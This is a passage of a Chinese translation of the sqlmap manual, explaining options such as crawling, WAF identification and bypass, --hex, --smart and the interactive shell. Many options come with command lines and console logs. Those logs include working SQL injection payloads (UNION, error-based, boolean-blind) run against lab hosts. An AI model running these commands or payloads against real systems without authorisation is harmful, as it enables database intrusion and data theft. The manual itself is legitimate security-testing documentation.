sqlmap可以通过从目标位置开始收集(爬行)来收集潜在的易受攻击的链接。使用此选项,用户可以设置一个深度(距离起始位置的距离),在该位置之下sqlmap将不会进入收集阶段,因为只要有新的链接被访问,该进程正在递归完成。

示例针对MySQL目标运行:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

选项 --crawl-exclude

使用此选项,您可以通过提供正则表达式来排除页面的爬网。例如,如果要跳过logout在其路径中具有关键字的所有页面,可以使用--crawl-exclude=logout

定义CSV输出中使用的字符

选项: --csv-del

当转储数据被存储到CSV格式(--dump-format=CSV)时,条目必须用“分隔值”分隔(默认为,)。如果用户想要覆盖其默认值,他可以使用此选项(例如--csv-del=";")。

DBMS认证凭证

选项: --dbms-cred

在某些情况下,由于缺少当前的DBMS用户权限,用户将被警告某些操作失败,并且他可以尝试使用此选项。在这些情况下,如果他admin通过使用此选项向sqlmap 提供用户凭据,sqlmap将尝试OPENROWSET使用这些凭据重新运行专门的“运行为”机制(例如在Microsoft SQL Server上)的问题部分。

转储数据格式

选项: --dump-format

的SqlMap支持三种不同类型的存储转储表数据时成相应的文件中的一个输出目录内格式化的:CSVHTMLSQLITE。默认的一个是CSV,每个表行逐行存储到文本文件中,每个条目用逗号字符,(或选项提供--csv-del)分隔。在HTML输出被存储到HTML文件的情况下,其中每行在格式化表格内用一行表示。如果SQLITE输出正被存储到SQLITE数据库中,其中原始表内容被复制到具有相同名称的对应表中。

用于数据检索的强制字符编码

选项: --encoding

为了正确解码字符数据,sqlmap使用Web服务器提供的信息(例如HTTP头Content-Type)或来自第三方库chardet的启发式结果。

然而,有时候这个值必须被覆盖,特别是在检索包含国际非ASCII字母的数据时(例如--encoding=GBK)。必须注意的是,由于存储的数据库内容与目标端使用的数据库连接器之间存在隐含的不兼容性,所以字符信息有可能不可逆转地丢失。

预计到达时间

开关: --eta

可以实时计算并显示估计的到达时间以检索每个查询输出。当用于检索输出的技术是任何盲SQL注入类型时,将显示这一点。

针对仅受基于布尔的盲目SQL注入影响的Oracle目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19

然后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

您可以看到,sqlmap首先计算查询输出的长度,然后估计到达时间,以百分比显示进度,并计算检索到的输出字符数。

刷新会话文件

选项: --flush-session

由于您已经熟悉上述说明中的会话文件的概念,因此您可以使用选项清除该文件的内容--flush-session。这样可以避免在sqlmap中默认实现的缓存机制。其他可能的方法是手动删除会话文件。

解析和测试表单的输入字段

开关: --forms

假设你想测试SQL注入一个巨大的搜索表单,或者你想测试一个登录绕过(通常只有两个输入字段,如用户名密码),你可以传递给sqlmap请求文件(-r)中的请求,设置相关的POST数据(--data)或让sqlmap为你做的!

上述两个实例和许多其他实例在HTML响应体中显示为<form><input>标签,这是该开关发挥作用的地方。

提供sqlmap --forms以及可以找到表单作为目标URL(-u)的页面,sqlmap将请求您的目标URL,解析其所用的表单,并指导您完成这些表单输入字段的SQL注入测试(参数),而不是提供的目标网址。

忽略存储在会话文件中的查询结果

开关: --fresh-queries

由于您已经熟悉上述说明中的会话文件的概念,因此您可以使用选项忽略该文件的内容--fresh-queries。通过这种方式,可以保持会话文件不被修改,并且对于选定的运行,避免查询输出的恢复/恢复。

使用DBMS十六进制功能进行数据检索

开关: --hex

在丢失的情况下,检索非ASCII数据需要特殊需要。该问题的一个解决方案是使用DBMS十六进制功能。通过此开关打开,数据在被检索之前被编码为十六进制形式,之后被未编码为原始形式。

针对PostgreSQL目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by 
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

自定义输出目录路径

选项: --output-dir

sqlmap默认将会话和结果文件存储在子目录中output。如果您想使用其他位置,可以使用此选项(例如--output-dir=/tmp)。

从响应页面解析DBMS错误消息

开关: --parse-errors

如果Web应用程序配置为调试模式,以便在HTTP响应中显示后端数据库管理系统错误消息,sqlmap可以为您解析并显示它们。

这对于调试目的非常有用,例如了解为什么某个枚举或接管开关不起作用 - 这可能是会话用户权限的问题,在这种情况下,您会看到一条DBMS错误消息Access denied for user <SESSION USER>

针对Microsoft SQL Server目标的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the 
timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]

在配置INI文件中保存选项

选项: --save

可以将命令行选项保存到配置INI文件中。然后可以编辑生成的文件并将其传递给具有上述-c选项的sqlmap 。

更新sqlmap

开关: --update

使用此选项,您可以直接从Git存储库更新该工具到最新的开发版本。你显然需要上网。

如果由于任何原因导致此操作失败,请git pull从您的sqlmap工作副本运行。它将执行完全相同的开关操作--update。如果您在Windows上运行sqlmap,可以使用SmartGit客户端。

邮件列表报告任何错误之前,强烈建议您这样做。

使用短的助记符

选项: -z

输入所有期望的选项和开关可能变得乏味,特别是对于最常使用的选项(例如--batch --random-agent --ignore-proxy --technique=BEU)。有一个更简单和更短的方法如何处理这个问题。在sqlmap中,它被称为“助记符”。

每个选项和开关可以使用选项以较短的助记符形式写入-z,用逗号分隔(,),其中助记符仅代表原始名称的第一个任意选择的部分。没有严格的选择和切换映射到他们各自缩短的同行。只有必需的条件是没有其他选项和switch都具有与所需的相同的前缀。

例:

$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"

可以用较短的助记符形式(多种方法之一)写成:

$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"

另一个例子:

$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"

可以用较短的助记符形式写成:

$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"

警告成功的SQL注入检测

选项: --alert

设置问题的答案

选项: --answers

如果用户想要自动设置问题的答案,即使--batch被使用,使用此选项,他可以通过提供任何问题的一部分,并在等号后回答。此外,不同问题的答案可以用分隔符字符分割,

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]

发现SQL注入时发出哔声

开关: --beep

如果用户使用开关,--beep则在发现SQL注入时,将立即发出哔声警告。当-m需要测试的目标网址有大量批量列表(选项)时,这是特别有用的。

从sqlmap特定的UDF和表中清除DBMS

开关: --cleanup

建议在完成基础操作系统或文件系统的接管后,从sqlmap临时表中清理后端数据库管理系统,并创建用户定义的函数。交换机--cleanup将尝试尽可能地清理DBMS和文件系统。

检查依赖关系

开关: --dependencies

在某些特殊情况下,sqlmap需要独立安装额外的第三方库(例如,选项-d,隧道--os-pwn情况下的切换,HTTP认证类型的icmpsh选项等),并且只会在特殊情况下警告用户。但是,如果要独立检查所有额外的第三方库依赖关系,可以使用开关。--auth-typeNTLM--dependencies

$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
 order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/

禁用控制台输出着色

开关: --disable-coloring

默认情况下,sqlmap在写入控制台时使用着色。在不期望的效果(例如控制台出现未解释的ANSI着色代码\x01\x1b[0;32m\x02[INFO])的情况下,您可以通过使用此开关来禁用控制台输出着色。

使用指定页码的Google dork结果

选项: --gpage

默认的sqlmap行为与选项-g是做一个Google搜索,并使用前100个生成的URL进行进一步的SQL注入测试。但是,结合此选项,您可以使用此选项(--gpage)除第一个以外的页面来检索目标URL。

使用HTTP参数污染

开关: --hpp

HTTP参数污染(HPP)是绕过对ASP / IIS和ASP.NET / IIS平台特别有效的WAF / IPS / IDS保护机制(在此解释)的一种方法。如果您怀疑目标是在这种保护之后,您可以尝试通过使用此开关绕过它。

进行WAF / IPS / IDS保护的通过测试

开关: --identify-waf

sqlmap可以尝试识别后端WAF / IPS / IDS保护(如果有的话),以便用户可以执行适当的步骤(例如使用篡改脚本--tamper)。目前大约有30种不同的产品(Airlock,Barracuda WAF等)和它们各自的WAF脚本可以在waf目录中找到。

针对受ModSecurity WAF保护的MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (Un
ited Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application 
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisc
o Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)
'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Ak
amai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application F
irewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application 
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application F
irewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application S
ecurity (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Fir
ewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firew
all (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source We
b Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
-tamper')
[...]

跳过启发式检测WAF / IPS / IDS保护

开关: --skip-waf

默认情况下,sqlmap自动在一个启动请求中发送一个包含故意“可疑”SQL注入有效负载(例如...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1)的虚拟参数值。如果目标对原始请求的响应不同,那么它有很大的可能性在某种保护。如果有任何问题,用户可以通过提供开关来禁用此机制--skip-waf

模仿智能手机

开关: --mobile

有时,Web服务器会向移动电话公开不同于台式机的接口。在这种情况下,您可以强制使用预定的智能手机HTTP User-Agent头值之一。通过使用此开关,sqlmap将要求您选择一种流行的智能手机,它将在当前运行中模仿。

示例运行:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

离线模式工作(仅使用会话数据)

开关: --offline

通过使用switch --offlinesqlmap将仅使用数据枚举中的前一个会话数据。这基本上意味着在这样的运行过程中会有零连接尝试。

从输出目录中安全删除所有内容

开关 --purge-output

如果用户决定安全地从output目录中删除所有内容,其中包含以前的sqlmap运行中的所有目标详细信息,他可以使用switch --purge-output。清除时,文件夹中的(子)目录中的所有文件output将被随机数据覆盖,被截断,重命名为随机名称,(子)目录也将重命名为随机名称,最后将删除整个目录树。

示例运行:

$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

只有在积极的启发式

开关 --smart

有些情况下,用户有大量的潜在目标网址列表(例如提供选项-m),他希望尽可能快地找到易受攻击的目标。如果使用开关--smart,则只能在扫描中进一步使用可以引发DBMS错误的参数。否则跳过。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
r=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might 
not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable 
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
[...]

通过有效载荷和/或标题选择(或跳过)测试

选项 --test-filter

如果您想通过其有效载荷和/或标题过滤测试,您可以使用此选项。例如,如果要测试所有有ROW关键字内容的有效载荷,可以使用--test-filter=ROW

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter 'id' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
[xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
 HAVING clause' injectable 
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
    ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
    ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY 
x)
---
[...]

选项 --test-skip=TEST

如果您想通过其有效载荷和/或标题跳过测试,您可以使用此选项。例如,如果要跳过具有BENCHMARK关键字内部的所有有效内容,可以使用--test-skip=BENCHMARK

交互式sqlmap shell

开关: --sqlmap-shell

通过使用交换机--sqlmap-shell用户将呈现交互式sqlmap shell,它具有所有以前运行的历史记录,其使用的选项和/或开关:

$ python sqlmap.py --sqlmap-shell
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:11

[xx:xx:11] [INFO] testing connection to the target URL
[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
 be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending 
provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - 
WHERE or HAVING clause' injectable 
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT 
UNSIGNED)'
[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:25

[xx:xx:26] [INFO] resuming back-end DBMS 'mysql' 
[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    '5.1.73-0ubuntu0.10.04.1'
[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com' 
sqlmap-shell> exit

初学者用户简单的向导界面

开关: --wizard

对于初学者用户,有一个向导界面,它使用简单的工作流程尽可能少的问题。如果用户刚刚输入目标URL并使用默认答案(例如通过按下Enter),则应该在工作流结束之前设置正确设置的sqlmap运行环境。

针对Microsoft SQL Server目标的示例:

$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:26

